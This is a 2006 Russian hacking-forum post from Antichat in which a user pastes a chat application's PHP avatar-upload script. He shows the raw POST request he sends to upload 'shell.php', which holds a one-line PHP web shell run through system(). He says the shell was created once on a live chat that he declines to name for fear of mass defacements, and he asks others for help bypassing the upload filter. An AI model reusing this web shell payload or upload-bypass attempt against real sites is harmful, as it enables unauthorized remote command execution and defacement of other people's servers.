Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
или post запрос кривой или проверка имени файла стоит |

21.12.2006, 23:22
|
|
Новичок
Регистрация: 14.12.2006
Сообщений: 26
Провел на форуме: 122689
Репутация:
7
|
|
или post запрос кривой или проверка имени файла стоит
Народ помогайте... уйму времени потратил а пробиться немогу.
ковырял чат один, нашел вроде как баг...
скрипт обновляет аватарку.
видимых проверок на имя и содержимое файла я незаметил но тем не менее...
вот код:
<?php
//---
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
// Report all errors except E_NOTICE
error_reporting(E_ALL ^ E_NOTICE);
require_once('inc/smartyinit.php');
$upldir = './images/cust_img/';
//---
//delete_old_files($upldir);//delete old files
//---
$req = array_merge($_GET, $_POST);
//---
//---
if(!$req['connid'] || !$req['userid']) die;
//---
//setup language
$lang = $GLOBALS['fc_config']['languages'][$req['lang']];
if(!isset($lang['dialog']['loadavatarbg'])) $lang = $GLOBALS['fc_config']['languages']['en'];
//---
//-------------------------------------------------
//get file
//-------------------------------------------------
$errmsg = '';
if( isset($_POST['submit']) && !empty( $_FILES['file']['tmp_name'] ))//file is Uploaded
{
$f = $_FILES['file'];
$pathinfo = pathinfo( $f['name'] );
$alow_ext = trim(strtolower( $GLOBALS['fc_config']['avatarbgloading']['allowFileExt']));
$ext = explode(',', $alow_ext );
if( $f['error'] != 0){ $errmsg = $lang['dialog']['common']['upl_error']; }
elseif( $alow_ext != '' && !in_array(strtolower( $pathinfo['extension'] ), $ext) )
{ //error not allowed extension
$errmsg = $lang['dialog']['common']['ext_not_allowed'];
$errmsg = str_replace('FILE_EXT', strtoupper($pathinfo['extension']), $errmsg );
$errmsg = str_replace('ALLOWED_EXT', strtoupper($alow_ext), $errmsg );
}
elseif( $f['size'] > $GLOBALS['fc_config']['avatarbgloading']['maxFileSize'] )
{ //file too big
$errmsg = $lang['dialog']['common']['size_too_big'];
}
if($errmsg != '')
{
//echo "<script>alert('$errmsg');</script>";
}
else
{
$fname = $upldir . $f['name'];
//if( file_exists($fname) )
$fname = $upldir . basename($pathinfo['basename'], ".{$pathinfo['extension']}") .'_'. time(). rand() . '.' . $pathinfo['extension'];
//move file do upl dir
if(move_uploaded_file($f['tmp_name'], $fname) === false)
{
$errmsg = $lang['dialog']['common']['upl_error'];
}
else
{
if(is_script($fname))
{
$message = new Message('error', $req['userid'], $req['roomid'], '');
$message->touserid = $req['userid'];
$message->txt = 'securityrisk';
}
else
{
$message = new Message('load_av_bg', $req['userid'], null, '');
//set target
$message->touserid = $req['userid'];
$message->txt = "$fname!#@#!{$_POST['RB_CHOICE']}";
}
//---- chat part
$messageQueue = new MessageQueue();
//---send message
$messageQueue->addMessage($message);
//---
echo '<script>window.close();</script>';
exit();
}
}
}
//-------------------------------------------------
//delete old files
//-------------------------------------------------
function delete_old_files($dir)
{
$d = dir($dir);
while (false !== ($entry = $d->read()))
{
$fname = $dir.$entry;
if ($entry == "." || $entry == ".." || !is_file($fname) ) continue;
$fdif = (time() - filemtime($fname))/(60*60);
if($GLOBALS['fc_config']['avatarbgloading']['maxFileHoursLife'] < $fdif)
{
unlink($fname);
}
}
$d->close();
}
//---------------------------------------------
//---calculate max file size
//---------------------------------------------
$post_max_size = ini_get('post_max_size') * 1024 * 1024;
$upload_max_filesize = ini_get('upload_max_filesize') * 1024 * 1024;
$defined_max_size = $GLOBALS['fc_config']['avatarbgloading']['maxFileSize'];
$maxSize = min( $post_max_size, $upload_max_filesize, $defined_max_size ) ;
function convertSize( $size )
{
if( $size < 1024) return $size.' Bytes';
if( $size > 1024*1024) return round($size/(1024*1024),2).' MB';
return round($size/1024, 2).' KB';
}
$data = array();
$data['version'] = $GLOBALS['fc_config']['version'];
$data['win_title'] = $lang['dialog']['loadavatarbg']['win_title'];
$data['bodyText'] = htmlColor($GLOBALS['fc_config']['themes'][$GLOBALS['fc_config']['defaultTheme']]['bodyText']);
$data['publicLogBackground'] = htmlColor($GLOBALS['fc_config']['themes'][$GLOBALS['fc_config']['defaultTheme']]['publicLogBackground']);
$data['not_errmsg'] = ($errmsg != '');
$data['errmsg'] = $errmsg;
$data['win_choose'] = str_replace('MAX_SIZE', convertSize($maxSize) , $lang['dialog']['common']['win_choose']);
$data['maxSize'] = $maxSize;
$data['file_info'] = $lang['dialog']['loadavatarbg']['file_info'];
$data['use_label'] = $lang['dialog']['loadavatarbg']['use_label'];
$data['rb_mainchat_avatar'] = $lang['dialog']['loadavatarbg']['rb_mainchat_avatar'];
$data['rb_roomlist_avatar'] = $lang['dialog']['loadavatarbg']['rb_roomlist_avatar'];
$data['rb_mc_rl_avatar'] = $lang['dialog']['loadavatarbg']['rb_mc_rl_avatar'];
$data['rb_this_theme'] = $lang['dialog']['loadavatarbg']['rb_this_theme'];
$data['rb_all_themes'] = $lang['dialog']['loadavatarbg']['rb_all_themes'];
$data['win_upl_btn'] = $lang['dialog']['common']['win_upl_btn'];
$data['pls_select_file'] = $lang['dialog']['common']['pls_select_file'];
$data['allowFileExt'] = trim(strtoupper( $GLOBALS['fc_config']['avatarbgloading']['allowFileExt']));
$ext = explode(',', trim($GLOBALS['fc_config']['avatarbgloading']['allowFileExt']) );
$ext = strtoupper( implode(', ', $ext ) );
$data['ext_not_allowed'] = str_replace('ALLOWED_EXT', $ext, $lang['dialog']['common']['ext_not_allowed']);
$smarty->assign('data', $data);
$smarty->display('load_avatar_bg.tpl');
?>
я думаю многие поняли что это за чат(говорить напрямую небуду в опасении масс дефейсов)
посылаю скрипту пост запрос
POST /load_avatar_bg.php?userid=1&lang=ru&connid=50d73e6 acf8c2f5e3ee88fc432622813 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://chat/load_avatar_bg.php?userid=1&lang=ru&connid=50d73e6 acf8c2f5e3ee88fc432622813
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d62e2f210518
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: chat
Content-Length: 182295
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=2f0f42f0360af5e90cac9ebd8d03ef3b
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="MAX_FILE_SIZE1"
524288
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: php
<? system($_GET[cmd]);?>
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="RB_CHOICE"
3
-----------------------------7d62e2f210518
Content-Disposition: form-data; name="submit"
-----------------------------7d62e2f210518--
запрос вроде как проходит но возвращает хтмл код страницы загрузки аватарки... файла в дире нету.
Хрен знает.. ставлю filename="shell.php.jpg" и <? system($_GET[cmd]);?> меняю на 123
запрос проходит и файлик создается.
как только меняю название файла на php или пытаюсь обойти проверку тутже ставиться фильтр.
мистика какаято.. я как только нашел этот прикол тутже проверил и скрипт как миленький создал шелл , даж не поперхнулся.
Трабла в том что так получилось всего 1-н раз и я (дуррак) не сохранил тот запрос.
Последний раз редактировалось morfey; 21.12.2006 в 23:26..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|